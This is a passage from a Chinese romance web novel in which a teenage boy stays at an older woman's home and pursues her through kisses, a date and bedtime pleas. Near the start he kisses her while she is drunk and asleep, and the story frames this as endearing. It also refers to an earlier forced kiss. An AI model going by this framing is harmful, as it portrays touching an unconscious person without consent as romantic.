Eason走过来，被黎父扒着门框的手挡住了，于是轻轻地摘下来，露出儒雅的笑容。
“别担心，知逸有分寸的。”
温琳穿上鞋：“小知逸胆子很小的，尤其是在娜娜面前，给他一百个胆子，他都不敢乱来，放心吧，黎叔叔。”
黎父被带走了。
门关上，家里安静下来。
听着汽车引擎声渐渐远去，周围只能听到风声和黎娜的呼吸声，沈知逸心跳加快，脸颊发红，有些害羞地看着黎娜。
“姐姐，终于只剩下我们两个人了……”
他把黎娜平放到沙发上，盖好毯子，然后他下来，半跪在沙发前，用手捂住黎娜的眼睛，身体慢慢前倾。
眼看着距离越来越近，能感受到黎娜的呼吸，沈知逸心脏都快要把胸口撞烂了，看着她，嘴唇凑过去，贴在黎娜的嘴唇上。
黎娜鼻尖抵着他的皮肤，他也抵着黎娜，嘴唇紧贴着。
真的好软，像果冻一样。
沈知逸啄了几下，然后贴住不动，慢慢地蹭，又稍微离开一点，再凑过去，亲的同时伸出舌尖轻舔她的嘴唇，把自己能想到的亲法都试了一遍。
最后他把脸侧过去，贴到黎娜嘴唇上，闭着眼睛想。
嗯，姐姐主动亲我了。
好开心。
沈知逸整张脸红得不行，下面又热又涨，把灰色运动裤都顶起来了。
他把发烫的脸埋进沙发里。
真的好想、好想和姐姐……
张阿姨组了一个微信群，把两家人都拉进去了，还有沈知逸和黎娜。
黎父：【娜娜醒了没有？】
沈知逸：【还没有。】
张阿姨：【那边有饭吗？晚上你们吃什么？】
沈知逸拍了张料理台的照片发过去，砧板上有蔬菜和虾。
沈知逸：【我在做。】
瞧瞧，多乖的小孩，又会照顾人，又会做饭。
黎父：【行。】
转头就给黎娜私发信息。
黎父：【看好沈知逸那个臭小子，别让他离你太近，晚上睡觉锁好门。】
黎娜在沙发上呼呼大睡。
做饭动静太大，怕吵醒黎娜，沈知逸就把厨房门关上了，用遥控器对准空调，按了几下，一直没有风出来，就没再开了。
现在正值三伏天，是最热的时候，沈知逸用纸巾擦掉脸和脖子上的汗水，靠在墙壁上。
锅里冒着热气，窗外暑气侵袭，他都要中暑了，最后摘掉围裙，脱掉上衣，再把围裙穿上，继续弄吃的。
沙发上，黎娜睁开眼睛。
厨房里传来一阵“咕嘟咕嘟”煮东西的声音，有香味飘出来。
黎娜坐起身，身上的毯子滑到地上，客厅里一片漆黑。
她抓了抓头发，晃晃悠悠地站起来，走向厨房。
“我靠，琳琳宝贝，你在做饭吗！”
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>说着，黎娜就拉开了门。
厨房里立着一个高大的身影，上半身衣服失踪，腰后系着细细的蝴蝶结，皮肤很白，腰身劲瘦，脊背上有些肌肉线条，覆盖着细密的汗珠，汇聚成一小缕流淌下来，那画面……极其香/艳。
沈知逸身形一僵，手里的勺子掉进锅里，汤水四溅。
他捂住身体蹲下来，脸埋到膝盖上，声音闷闷的传出来。
“姐姐……”
似撒娇，又似责怪。
黎娜猛地关上门，双手抓头。
“我靠，我刚才看到了什么……”
她快步走到沙发前坐下来，拿起手机，咬着大拇指，给温琳发消息。
黎娜：【你人呢！沈知逸为什么在我家里！我靠！吓死我了！】
温琳：【什么！沈知逸在你家里！你竟然背着我搞男人！】
黎娜：【神经啊你！】
温琳：【嘿嘿，在你酒没醒的时候，你爸和阿姨过来了，还有沈知逸一家，那么惊讶干什么，我不是告诉过你了吗？】
黎娜：【你什么时候告诉我了！】
温琳：【他们刚来的时候，你还叫我去开门，你忘了？】
黎娜：【……我以为我在做梦。】
温琳：【哈哈哈哈哈哈哈哈哈笑死了。】
黎娜放下手机，头又晕又疼。
厨房门开了，沈知逸低着头，把菜都端到餐桌上，摆好筷子和勺子，坐下来，脸还是红的，没有看黎娜，垂着眸子，声音小小的。
“姐姐，过来吃饭吧。”
黎娜“嗯”了一声，过去吃饭。
沈知逸吃得特别慢，吃几口就要用纸巾擦一下嘴，吃到有骨头的就更慢了，一点一点把肉咬下来。
不像黎娜，一整块肉塞进嘴里，直接在嘴里脱骨，脸颊被骨头撑起各种形状。
沈知逸悄悄抬眸看她，见她脸颊鼓鼓的像只嘴里塞满食物的小仓鼠，没忍住笑了一声。
黎娜立刻瞪向他。
“吃完饭，我叫车送你回去。”
沈知逸愣住，眸光黯淡下来。
“不要，我不要走。”
黎娜一字一顿带着警告：“你不走？”
沈知逸点头：“嗯。”
黎娜盯着他，嘴唇紧抿。
沈知逸败下阵来，撇开视线。
“是黎叔叔他们让我留在这里的，我答应过他们要好好照顾你的。”
黎娜冷笑：“我用得着你来照顾？你多大我多大？”
沈知逸腼腆一笑：“那姐姐照顾我？”
黎娜冷下脸：“滚！”
沈知逸笑嘻嘻地看着她。
他现在啊，可是姐姐的男朋友。
双方家长都公认的男朋友。
吃完这顿饭，沈知逸就笑不出来了。
他被黎娜拎着后衣领，往门外面拖，眼看一只脚就要跨出去了，赶紧抓住门框转了个方向，变成黎娜在外面，他在里面了。
黎娜气炸了：“这是我家，你要把我赶出去？”
沈知逸摇摇头，把黎娜拉进来，紧紧抱在怀里，脑袋埋在她脖子上，蹭来蹭去。
“姐姐，你别赶我走好不好，让我留下来吧。”
黎娜摸出手机：“我现在叫司机。”
“不要！”
沈知逸握住她的手，不让她动。
“我不走，你叫车过来我也不走，我不会松手的，我会一直抱着你，如果车子到了，我就把你一起抱上车！”
69. 神明陷落
沈知逸腿往后伸，用脚尖轻轻地关上门，手臂环在黎娜腰上，越搂越紧，垂下脑袋，下巴轻轻搁在她肩膀上。
黎娜没有动。
说来奇怪，自从上次被沈知逸强吻之后，对搂搂抱抱的接受度好像变高了不少，这种感觉真恐怖啊……
他短袖下面的手臂晒黑了一点，黎娜夏天不喜欢出门，出门有司机接送，肤色一直很均匀。
沈知逸看着他们的手臂。
姐姐好白哦，胳膊也好细，感觉软软的，跟没有骨头一样……
“姐姐，你把手伸出来一下。”
黎娜手指蜷紧：“干什么？”
“你先伸出来。”
黎娜：“……”
“快点啊，姐姐。”
沈知逸抱着她晃来晃去。
黎娜被他弄烦了，手伸出来，掌心朝上。
沈知逸换单手抱住她，也伸出一只手，放到她的手上面，带着她翻转了一下，变成他的手在下，黎娜的手在上。
“姐姐，我的手比你大。”
黎娜拍掉他的手：“幼稚。”
沈知逸哼了一声：“个子也比你高。”
黎娜翻白眼：“你跟我一个女的比身高，要不要脸。”
她拍了拍沈知逸手臂：“快点松手啊，腿都要站酸了。”
沈知逸：“那我抱你？”
黎娜眼珠一转：“行。”
沈知逸松开手，弯下腰正打算抱她起来。
黎娜撒腿就跑。
大长腿还是很有优势的，跨几步就跑进了卧室里，摔上门，锁了好几道。
沈知逸人都懵了，还保持着弯腰伸手的姿势。
他慢慢站直身体，一脸不可置信。
到嘴的姐姐飞走了……
他幽怨地喊：“姐姐，你怎么骗人啊……”
晚上，黎娜盘着腿坐在床上，给温琳发消息。
黎娜：【他们过来说什么了吗？为什么把沈知逸留在这里？】
还有她爸刚才给她发消息，叫她离沈知逸远点，还锁门什么的。
温琳：【你摊上事儿了，娜娜宝贝。】
黎娜：【？？？】
温琳：【好像因为你俩偷偷亲嘴，然后你们爸爸妈妈想撮合你们一下，就让沈知逸留在你家了。】
黎娜手机都吓掉了，捡起来。
黎娜：【什么偷偷亲嘴，我是被强吻的啊！我靠！我不咬他，他不松嘴啊啊啊啊！】
“咚咚咚！”
黎娜身体一抖，看向紧闭的房门。
“干什么！”
沈知逸在门外喊：“姐姐，我没有衣服穿。”
黎娜大吼：“关我什么事！”
沈知逸声音变小：“那、那我不穿衣服了吗，姐姐？”
黎娜扶额：“我靠……”
她跳下床，准备出去，手指刚碰到门把，又迅速缩回来，问他：“你现在穿衣服了没有？”
沈知逸：“我刚洗完澡，裹了浴巾……”
黎娜：“那你去卫生间，十分钟过后再出来，我把衣服放到沙发上。”
沈知逸：“好。”
外面一点动静都没有。
黎娜耳朵贴在门板上。
根本就没有离开的脚步声。
黎娜：“沈知逸你走了没有？”
沈知逸不出声。
黎娜双臂环胸：“那我不出去了。”
沈知逸：“我走。”
外面传来一阵渐行渐远的脚步声。
过了有一分钟，黎娜把锁都转回去，打开门。
只见外面立着一道人影，把后面的灯光都挡住了。
黎娜在一片昏暗里，看着面前的十八岁男生。
之前当模特也不是没见过男模特的身体，只是现在眼前这个男生，身上没有训练痕迹，只有一层薄薄的肌肉线条，最原始的男性身体，透着一股青涩和稚嫩。
黎娜视线往下，落到他胸口上，不由得脸一红，移开视线。
“你怎么——”
她一低眸，看到沈知逸是光着脚的，手里拎着两只拖鞋。
沈知逸抓了抓正在滴水的小卷毛，往前面走了一点，更加靠近黎娜，低头凑过去看她。
“姐姐，你是不是脸红了？”
黎娜瞪他：“在说别人之前，最好先看看你自己的脸。”
沈知逸脸越来越红。
明明是他穿的比较少，结果反而把自己弄得不好意思了。
黎娜推开他：“我去找衣服。”
沈知逸脸色发白：“家里有男人的衣服吗？”
黎娜头都不回：“没有，你只能穿我的衣服。”
沈知逸这才笑了，跟上去。
到衣帽间，黎娜挑出几件宽松的卫衣和运动裤，丢到沈知逸身上。
沈知逸赶紧接住，低头闻来闻去，又凑过去在黎娜身上闻来闻去。
黎娜忍住扇他的冲动。
沈知逸眼睛亮晶晶的：“这是你穿过的衣服吗？上面都是你的味道。”
黎娜嫌弃地看着他：“怎么可能，这些衣服我没穿，阿姨洗完放在这里的。”
沈知逸“哦”了一声，手指放在浴巾上。
黎娜站着没动。
沈知逸抱着衣服别过身去，背对着黎娜，耳尖红红的。
“姐姐，你能不能出去一下，我要换衣服了。”
黎娜扭头就走，并扔下一句：“谁愿意看你！”
沈知逸换完衣服出来，黎娜看了一眼。
还行，她卫衣买的加大码，穿在沈知逸身上稍微有点紧，但也不至于勒死人，不勒死人就没事。
“裤子紧吗？”
沈知逸说：“紧，腰有点紧，还有前、前面也有一点……”
黎娜皱眉：“前面？”
沈知逸低下头，双手挡在前面，脸和耳朵都是红了。
黎娜嘴角抽搐：“凑合着穿吧，我去睡觉了。”
沈知逸抬头看她：“姐姐，那我睡哪里？”
“沙发，还有客房，你想睡哪睡哪，睡厕所我都不管你。”
沈知逸声音低下去：“那我……能不能跟你一起睡，我不会碰你的，你可以把我当成一只大狗的。”
黎娜瞪大双眼：“你找死！”
她转身回房，关上门，又锁了好几道。
沈知逸靠在墙上，抱紧自己，脸埋进胳膊里，鼻息间全是姐姐的味道。
穿着姐姐的衣服抱自己，等于姐姐抱自己。
沈知逸嘴角上扬，抱着自己在走廊里转来转去。
早上，沈知逸收到了一笔转账。
是Sofia，还给他发了信息：【跟你姐姐出去玩玩。】
沈知逸：【好。】
Sofia又发了几个位置过来。
Sofia：【这些地方适合小情侣玩，很浪漫。】
看着“小情侣”这三个字，沈知逸有一瞬的不可置信。
他和姐姐……是小情侣吗？
到吃早饭的时间，沈知逸看着对面的黎娜，张了几次嘴巴，却什么都没有说，闷头吃饭。
到快吃完
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的时候，黎娜放下勺子，起身准备离开。
沈知逸也跟着站起来，走到她面前，垂眸看着她。
“姐姐，我现在是你男朋友，对吧？”
一直都是家长在说，黎娜从来没有表态，他心里有些不安。
黎娜打了个哈欠，眼角溢出点泪花，有点意兴阑珊的样子。
“你觉得你是吗？”
沈知逸抿唇：“……我不是吗？”
“当然不是，你是被家里长辈硬塞给我的，我可没说要跟你怎么样，我也没有要跟你怎么样的想法。”
又是那种极其理性的发言。
沈知逸脸都白了。
黎娜还是觉得说清楚比较好。
“我现在就是跟他们耗，耗到他们死心了，就知道你跟我不合适了，以后就不会再把你塞给我了。”
看着她冷淡的面庞，沈知逸特别想抱她。
“姐姐，你是不是有喜欢的人？”
黎娜想都没想：“没有，我活了快三十年从来没有喜欢过人。”
沈知逸：“一个都没有？”
黎娜：“一个都没有。”
沈知逸垂眸：“那你为什么不能跟我试试呢？”
黎娜想了一会：“你不是我的理想型。”
这句话差点让沈知逸眼泪掉下来。
他深吸口气，眼眶发红：“那谁是？”
黎娜看着他发红的眼睛，似乎觉得有趣，忍不住笑出了声，心中出现了一个特别恶劣的想法，故意刺激他。
“秦钰？我喜欢成熟一点的。”
年龄是他没有办法改变的。
沈知逸垂下眸子，泪水在眼底凝聚，轻轻地点了点头。
黎娜对他的反应不太满意。
“我爸好像挺喜欢秦钰的，跟你试完，我可能就要跟秦钰试试了，心里还挺好奇的。”
沈知逸问：“好奇什么？”
黎娜憋笑：“对一个男人，我还能好奇什么？你说我好奇什么？”
说着，还上下打量沈知逸，然后视线在他裤子上停住，笑得意味深长。
沈知逸难以置信，羞耻，愤怒，难过……各种情绪交织在一起，在他的身体里迅速膨胀，他几乎要喘不上气。
在眼泪掉下来之前，他迅速转过身去，朝自己的房间走。
黎娜上前几步，拉住他的后衣领，没让他走，挡在他面前。
他用被泪水浸到通红的眼睛瞪着黎娜，看上去明明难过得要死，但语气特别随意。
“你不是喜欢秦钰吗，那你去找他啊。”
黎娜拿出手机：“好啊，这就找，正好上次高尔夫球没打成。”
看着她打开通讯录，手指要按到秦钰的名字上，沈知逸迅速把她手机抢走。
“不许找他！”
黎娜双臂环胸：“不是你让我找的？”
沈知逸拿着她的手机，眼泪落到屏幕上总是误触，他在衣服上蹭干净，把通讯录里秦钰的联系方式删掉，再进入微信，删掉秦钰。
黎娜皱眉：“差不多行了。”
沈知逸删完，把手机放到沙发上，扭头就走。
黎娜再次拉住他。
这次他显然有点生气了，不停地挣扎，力气还不小。
黎娜抓着他的后衣领，像在遛一只不听话的巨型犬，被拽得晃来晃去。
她换了个手，直接锁住沈知逸的脖子，短指甲在他皮肤上划了一下，又划了一下。
似细小的电流，痒痒的，有点麻，稍微有一丢丢的疼……
沈知逸就老实了。
70. 神明陷落
黎娜慢慢松开手。
沈知逸站在原地没动，抬起手擦了擦眼睛。
黎娜从餐桌上抽了几张餐巾纸，走到沈知逸面前。
沈知逸立刻转身，含着泪水的红眼睛在她视野里一闪而过，背对着她。
黎娜无奈地笑了一下，再次走到他面前。
在他背过身之前，黎娜伸手捧住他的脸，稍微用了点力气，让他不能动。
手指顺着他脸颊滑上去，靠近他眼睛的时候，他看着她，睫毛颤动了一下，然后闭上眼睛。
黎娜用纸巾轻轻按在他眼睛上，指腹瞬间被浸湿。
沈知逸握住她的手腕。
黎娜继续擦。
“你这个动不动就哭鼻子的毛病，真要改改了，小时候哭也就算了，你现在都十八岁了，再哭不觉得丢人吗？”
她语气和动作都特别温柔，像是在对待一个小孩子。
沈知逸心里难受，声音闷闷的。
“关你什么事，你是我的谁啊？我哭会丢你的人吗？”
黎娜皱眉：“逗你几下，就这样？你这么较真？”
什么叫逗他几下？
这样也算逗？
她说话那么伤人……
沈知逸有点生气：“你总是这样，从来都不会考虑我的感受。”
他难过得要命，结果黎娜就是在逗他玩？
“看我这样，你是不是特别开心？”
沈知逸睁开眼睛，一瞬不瞬地看着她，眼里布满血丝，刚哭过，所以模样特别可怜，但眼神很倔强，带着一丝愠怒。
看他这样，黎娜就拼命忍，最后实在忍不住了才笑出来，摇了摇头说：“不是。”
“你明明一直在笑！”
黎娜憋住：“因为你现在的样子特别好玩。”
沈知逸又生气又委屈，看了她一会，松开她的手，坐到沙发上不吭声。
黎娜去衣帽间，换好衣服出来，看向坐在沙发上还保持着原来姿势的沈知逸，把胸口的卷发都弄到后面，歪着脑袋调整耳环。
“要不要出去转转？”她问。
沈知逸别开脸：“不去。”
显然还在生她的气。
黎娜站直了：“真不去？今天双休日，街上帅哥美女特别多。”
听到“帅哥”两个字，沈知逸从沙发上下来。
“我去。”
昨天的衣服他用手洗过了，外面天气好，已经晾干了，沈知逸拿下来，回房间换好衣服，跟黎娜一起出门。
去的路上，沈知逸一直在看黎娜开车，看她是怎么打方向盘的，路上有车出来，她是怎么反应的。
他科目一已经过了，再去就要自己开车了。
到市区繁华的商业街，黎娜停好车，和沈知逸一起下来。
黎娜问：“你什么时候走？”
本来就在生气的沈知逸，听到这话更气了。
他说：“我今天不想跟你说话，你也别跟我说话。”
黎娜：“……”
冷战吗？
真好。
她最拿手，也最喜欢冷战了！
于是，两人漫无目的地在街上走，一句话都不说。
周围有情侣路过，都是又牵手，又打情骂俏的，还一起吃冰淇淋。
沈知逸羡慕地看着他们，又垂眸看着自己的鞋尖。
怎么就真的不跟他说话了呢？
他都快要忍不住了。
他悄悄抬眸看向黎娜。
黎娜目视前方，面无表情。
肯定察觉到他的视线了，却视若无睹，姐姐真的好坏啊，怎么那么能忍啊……
他也不会输的！
路过一家店，不知道沈知逸看见了什么东西，突然走进去了。
黎娜停下脚步，抬头看了眼上面的店名，差点咽气了。
牌子上写着：母婴店。
走进店里的沈知逸突然回过身来，欲言又止地看了她一会，嘴唇抿了又抿，最后别开脸，有些气恼的样子。
“你不许走，站在这里等我。”
黎娜点头。
沈知逸转回身去，拳头握紧。
还是忍不住跟姐姐说话了。
可恶，他输了。
等了一小会，沈知逸就跑出来了，手里拿着一个很奇怪的东西。
是两个手环，中间有一根能伸拉的绳子。
沈知逸拆掉包装丢进垃圾桶，先给自己戴好，然后再给黎娜戴上。
黎娜没有拒绝，有些无语。
是怕她偷偷跑走，把他丢在这里吗？
不至于吧……
他们戴着防走丢牵引器，继续往前面走。
路过一对父女，手腕上也戴着防走丢牵引器。
黎娜移开视线，当做没看到。
那个小女孩停下来，拽了拽她爸爸的衣服，指着他们的手。
“爸爸，爸爸，你快看，他们也有这个诶……”
那个男人看过来。
黎娜脸一红，用手扶住额头，挡着半边脸。
沈知逸就自然多了，一点不好意思都没有，还朝小女孩笑，给她解释。
“爸爸怕你走丢，我怕姐姐把我弄丢。”
小女孩不解：“哥哥你都这么大了，还会走丢吗？”
沈知逸垂眸：“我不会走丢，但是姐姐可能会弄丢我。”
他小时候在街上被抛弃过。
虽然那个女人是坏人，但给年幼的他留下了不小的心理阴影。
真的很害怕黎娜也会那样做。
黎娜往前走，连接的绳子逐渐被拉直，沈知逸不得不跟小女孩道别，重新跟到黎娜身后。
黎娜走进一家男装店。
沈知逸心脏漏跳一拍。
姐姐要给谁买衣服……
店员热情地迎上来，黎娜打发到一边，自己看衣服。
看到好看的，就用牵引绳把沈知逸拉过来，拿起衣服在他身上比划。
沈知逸眼睛一亮：“给我买吗？”
黎娜没搭理他。
沈知逸后悔了：“姐姐，我错了，你跟我说话吧，求你了。”
黎娜抬起手，竖起食指放到嘴唇前面，轻轻地“嘘”了一声，朝沈知逸微微一笑。
沈知逸看着她，后悔得不行。
他就不该跟姐姐比这个，他肯定会输的啊，他怎么可能忍得住不跟姐姐说话。
给沈知逸选了几件衣服，黎娜正打算从包里拿出手机付钱，就看到沈知逸已经弄出付款码了，给柜台小姐扫完了。
黎娜愣了一愣，把手机放回包里。
路过女装店，沈知逸也要进去。
黎娜用牵引绳把他拽回来。
莫名有一种遛狗的感觉。
沈知逸问：“姐姐，你不买衣服吗？我也想给你选衣服。”
黎娜摇头，扭头就走。
她家里好多新衣服都来不及穿，有的甚至都放了很多年了。
中午在外面吃了饭，到下午，他们去看了两部侦探电影。
沈知逸看得很投入。
黎娜直接睡过去。
天黑了，路上街灯亮了，商业街的大屏幕上播放着裸眼3D作品，黎娜打哈欠，朝停车场走。
沈知逸指向远方。
“姐姐，我们去坐摩天轮吧，我还没有坐过摩天轮。”
黎娜身心俱疲，叹了口气。
果然
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还是年轻人啊，在外面晃悠了一天都不累，不像她，现在只想快点回家睡大觉。
她站在原地不想动。
这次换沈知逸用牵引绳拽她了。
到摩天轮公园，沈知逸买了两张票。
周围人很少，路过一对情侣。
男的说：“我们也去坐摩天轮吧。”
女的把他拽走：“不要！坐过摩天轮的情侣会分手，你没听说过吗？”
沈知逸看向手里的两张票。
黎娜看着他。
摩天轮是不能停的，空的座舱下来了，就要赶紧上去。
工作人员看沈知逸站着不动，催促道：“你们坐不坐，不要在意刚才那个人的话，都是迷信。”
沈知逸把门票攥成一团，正想说不坐了，就看到黎娜已经走上去了。
沈知逸想把她拉下来，但是座舱越来越高，怕摔到她，也只能赶紧上去。
工作人员麻利地拉上门。
沈知逸坐在座位上，单手撑着下巴，看向外面。
玻璃窗上印出他的脸。
他半睁着眼睛，没有焦距，不知道在想什么，小卷毛长到遮住半张脸，只露出一点鼻尖和软嫩的嘴唇，嘴角往下撇着，看上去不太高兴。
“姐姐，你为什么要上来？”
黎娜看向窗外：“……”
沈知逸皱眉，小声嘟囔着：“又不理我……”
黎娜嘴角上扬。
沈知逸还在生闷气。
今天特别不开心。
早上很难过，出来了姐姐又不跟他说话，真的，一点都不开心！
“秦钰真的是你的理想型吗？”
黎娜：“……”
“不是的话，你就别说话。”
黎娜：“……”
沈知逸笑了，继续得寸进尺。
“姐姐，你喜欢我吗，要是喜欢我的话，也别说话。”
摩天轮即将升到最高点。
黎娜突然站起来。
吓了沈知逸一跳。
他回过头，只见黎娜在窄小的座舱里弯下腰，手撑在座椅上，目光冷淡地看着他，红唇往上一扬，低头朝他凑过来。
“姐姐——”
嘴唇被堵住了。
沈知逸瞪大双眼，手指攥紧运动裤，僵硬地抬着头，脖子上鼓起一根青筋。
黎娜垂下眸子，贴着他的嘴唇磨了一会，就离开了，坐回去了，面色很平静，仿佛刚才什么都没有发生。
沈知逸还维持着那个姿势，用手指摸了摸嘴唇，有些不敢相信。
“姐姐，刚才发生了什么？”
一天没说话的黎娜看向他，终于开口了。
“想再来一次？”
“啊、啊，不是……”
他下意识否认，否认完就后悔了，小心翼翼地问她。
“那、那再来一次？”
黎娜把头发都弄到后面，看着窗外夜景，淡淡地说：“不来了。”
“……哦。”
沈知逸抱住脑袋，脸埋在膝盖上，轻轻地跺了几下脚。
他快被自己气死了。
摩天轮转完一圈，回到起点。
工作人员打开门，看到沈知逸的嘴巴，没忍住笑出了声。
沈知逸挠头：“你在笑什么啊？”
工作人员立刻收起笑容，咳了几声，一脸严肃：“没什么……”
沈知逸不解。
黎娜从包里拿出一袋湿巾和一块化妆镜，放到沈知逸手里。
“自己擦。”
沈知逸：“擦什么？”
他打开化妆镜，看着镜子里的自己。
嘴唇上，全是黎娜的口红印。
71. 神明陷落
沈知逸下意识抿了抿嘴巴，伸出舌尖舔了几下。
黎娜满头问号。
这是什么迷惑行为？
“你在干什么？口红里全是重金属。”
沈知逸诧异：“是吗，可是它是巧克力味的，好香……”
“再香也不能吃，快点擦干净。”
沈知逸低头看着手里的湿巾，犹豫了一会，就把湿巾放到黎娜手里，眼睛湿漉漉，亮晶晶地望着她。
“姐姐，你帮我擦好不好？”
黎娜不接：“自己擦。”
沈知逸握住她的手晃来晃去。
站在一旁的工作人员：“……”
啊……不是，你俩当我是死人啊？
工作人员退到阴暗的角落里，郁闷地拿着树杈在地上画圈圈。
黎娜拿他没办法，接过湿巾，抽出来一张，按在他嘴唇上，动作轻柔地擦拭起来。
沈知逸眼睫低垂，嘴角上扬。
“姐姐，我嘴唇软吗，亲起来是不是很舒服？”
黎娜动作一顿，力气加大。
沈知逸皱眉：“姐姐，你轻一点，我嘴巴都要破皮了……”
黎娜用力搓。
沈知逸撇嘴：“我会发朋友圈的，像上次一样，说你又把我的嘴弄破了。”
黎娜把湿巾按在他嘴唇上，手指正要退回来，就被沈知逸握住手腕，力气真是不小了，就这么握着她，她连动都动不了。
很难想象，她以前还能把沈知逸抱起来，现在就长得那么大了。
沈知逸握着她的手腕，低下脑袋，眼睛看着她，嘴唇亲吻她的手指。
亲了很久，从指腹亲到掌心，从掌心亲到手腕内侧。
柔软湿热的触感，近在咫尺的呼吸，双重感受夹击着她的理智，她挣扎了几下，没挣开，手指都在发抖。
“沈知逸，你口水都弄我手上了。”
沈知逸停下来，把她的手翻来覆去地看：“没有啊，哪里有？”
黎娜摊开手心，上面有一点亮晶晶的水渍。
沈知逸脸一红，给她擦掉了，伸手抱住她，在她耳边小声说话。
“你喜欢我吗，姐姐？”
“说喜欢我，好不好，求求你了……”
黎娜站着不动，看向夜空中的月亮，声音很轻，轻到几乎让人听不见。
她说：“喜欢一个人，到底是什么感觉？”
沈知逸身体一僵，如坠冰窖。
晚上在被窝里翻来覆去，怎么也睡不着，沈知逸裹着被子坐起来，怀里抱着枕头。
他突然想起什么，拿起床头柜上的手机，在浏览器输入：【一起坐过摩天轮的情侣会分手吗？】
浏览器给出的答案：【会，一起坐过摩天轮的情侣会以分手告终，但当摩天轮到达最高点时，与恋人接吻，就会破除诅咒，永远在一起。】
沈知逸悬起来的心脏，在看到后半段话的时候又渐渐落了回去。
他用手指抚摸着嘴唇，回味着当时的柔软和巧克力味，脸上浮起一抹红晕，羞得受不了，双手捂住脸埋进被子里，满床打滚。
卫生间里，黎娜坐在马桶上，手臂环住小腹，弯下腰来，额头抵着膝盖。
怪不得她会去亲沈知逸。
她生理到了。
一般生理期之前，情感需求都会特别强烈，在激素的催使下，让她做出了很不理智的举动。
再加上当时沈知逸看着窗外，那么落寞的样子，跟条可怜兮兮，没人要的卷毛小狗一样，她就、就……一下子冲动了。
黎娜握紧拳头砸墙。
算了，就当她亲了一条狗吧。
从卫生间出来，打开手机，温琳给她发了很多信息。
温琳：【跟小知逸在一起怎么样呀，是不是特别爽？】
温琳：【我跟你说啊，像他这个年纪的男生，你可千万别浪费了他的大好年华，那体力真是杠杠的，能把人折腾得死去活来。】
温琳：【娜娜宝贝，你的浦西还好吗？需不需要我帮你上药？[害羞][害羞]】
黎娜扶额。
发的什么狗屎玩意。
黎娜：【……你好变/态啊。】
温琳：【二十九岁的老处/女也是极其变态的存在。】
黎娜：【？？？】
温琳：【连性/生活都没有，真可怜啊，娜娜宝贝～】
黎娜：【……我怕得病。】
温琳：【小知逸肯定没病，你快去试试他呀～】
黎娜：【滚。】
“咚咚咚。”
黎娜手指一颤，看向房门。
“咚咚咚。”
“姐姐，你睡觉了吗？”
沈知逸在门外小声喊道。
黎娜以生平最快的速度，关掉灯，钻进被窝里，闭上眼睛给自己洗脑。
我睡着了我睡着了我睡着了……
“姐姐？”
“我有点事情要找你，你能不能出来一下。”
听到有事，黎娜掀开被子下床，来到门前，手指放在小锁上犹豫了一会，就全部转回来，打开门。
沈知逸站在外面，穿着整套的灰色睡衣，怀里抱着一个枕头，半张脸埋在上面，透过小卷毛可以看到一双在黑暗中闪着光芒的眼睛。
见黎娜开门了，他悄悄走进来一点，闷闷的声音透过枕头传出来。
“可以跟你一起睡吗？”
黎娜脑袋里一片空白。
搞什么，他说的有事，就是这件事？
早知道继续装睡了。
她退后半步，就要关门，沈知逸迅速用身体挡住，又走进来一点。
这次，他整个人都在黎娜房间里了。
“可以的对吧，你都亲我了……”
沈知逸说着就笑起来了，还有点小小的得意。
黎娜挡在他面前，双臂环胸：“要么从我房间滚出去，要么从我家里滚出去，你自己选。”
沈知逸笑不出来了，眼巴巴地望着她。
“姐姐，我就想抱着你睡觉，不行吗？我又不会做什么……”
只想在早上醒过来的时候，第一眼就能看到姐姐。
黎娜毫不犹豫：“不行，出去！”
她把沈知逸往外面推。
沈知逸扒住门框，不肯走。
“那，姐姐，你把我的手绑起来就行了吧？这样我就什么都不能做了。”
黎娜：“……”
还绑起来！
亏他想得出来！
她把沈知逸握在门框上的手指全部掰开，抬起腿，直接一脚把沈知逸给踹出去了，迅速关上门。
黎娜后背抵着门板，沉沉地吐出口气。
好险。
黎娜把之前负责卫生和饮食的阿姨都叫过来了。
这样沈知逸就不用总是跑到厨房里做饭了，也不需要再去超市买食材，需要什么，直接给阿姨们列个清单就好了。
做饭阿姨提前冰好了西瓜，沈知逸从冰箱里拿出来，坐到沙发上，用勺子挖着吃。
黎娜窝在沙发角落里，身旁散落着一堆手稿图纸，还有一些
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项链手链。
她一会抓抓头发，一会手伸进乱七八糟的手稿里翻来翻去，眉心紧皱着，看着电脑屏幕，眼珠转得特别快。
沈知逸抱着平板看热血战斗番，察觉到黎娜有些烦躁，他点击暂停，摘掉耳机，抱着西瓜挪过来，在黎娜身旁坐了一小会，忍不住开口。
“姐姐，休息一会吧。”
黎娜看向他，目光极冷，带着些许的不耐烦。
沈知逸垂下眸子，把中间那块他没有吃的西瓜，用勺子挖下来，递到黎娜嘴边。
“吃块西瓜吧。”
黎娜看着面前的西瓜，不悦地皱起眉。
“怎么是你用过的勺子？”
沈知逸一愣：“啊？”
不知道她竟然会在意这个。
而且他们都亲过对方了，共用一个勺子也没有关系吧。
黎娜收回目光，回到屏幕上。
“我不喜欢食物上有别人的口水。”
她眉心再次皱紧。
“有点恶心……”
沈知逸睫毛微颤，手还举在那里，眼底浮上一抹悲伤，用这种悲伤的眼神一直看着黎娜，跟要黎娜必须给他回应似的。
看他这样，黎娜就烦。
“把你的手拿开，挡着我看屏幕了。”
要不是怕西瓜掉下来污染了键盘，以她的脾气，早就一巴掌把西瓜拍飞了。
沈知逸把西瓜放回去，还是看着她。
“你是不是嫌我脏？”
黎娜：“啊？”
沈知逸深吸口气：“你是不是嫌我脏？”
黎娜无语了。
这小孩的情商是真低啊。
她“啊”，就是不想再听他废话的意思，他竟然以为她没听清，还又问了一遍。
黎娜耐着性子：“我什么时候说嫌你脏了，我是说，我不喜欢食物上有别人的口水，你这个小孩怎么听不懂人话呢，行了，你回房间吧，别总在我面前晃悠。”
沈知逸还是坐在她旁边，把刚才挖下来的西瓜放进嘴里，默默地吃着，眼睫低垂下来。
微信有新消息，黎娜点进去，是一段语音，直接点开。
“娜娜，那批帕拉伊巴预计在月底送到，我提前把公司的存货给你带过去吧，这样你方便一点，不用等了。”
是秦钰的声音。
沈知逸身体一僵，看向黎娜。
秦钰发的语音，黎娜也懒得打字，直接说：“好的，谢谢你哦。”
然后发送出去。
沈知逸笑了一声，眼里却没有半点笑意。
跟秦钰说话就那么温柔。
黎娜听到他笑，问他：“你笑什么？”
沈知逸说：“我不是删掉他了吗，姐姐你又加回来了？”
黎娜：“拜托，我们一直有合作，怎么可能真的删掉对方，那样我们还怎么联系啊，飞鸽传书吗？”
还飞鸽传书。
沈知逸没忍住笑了出来。
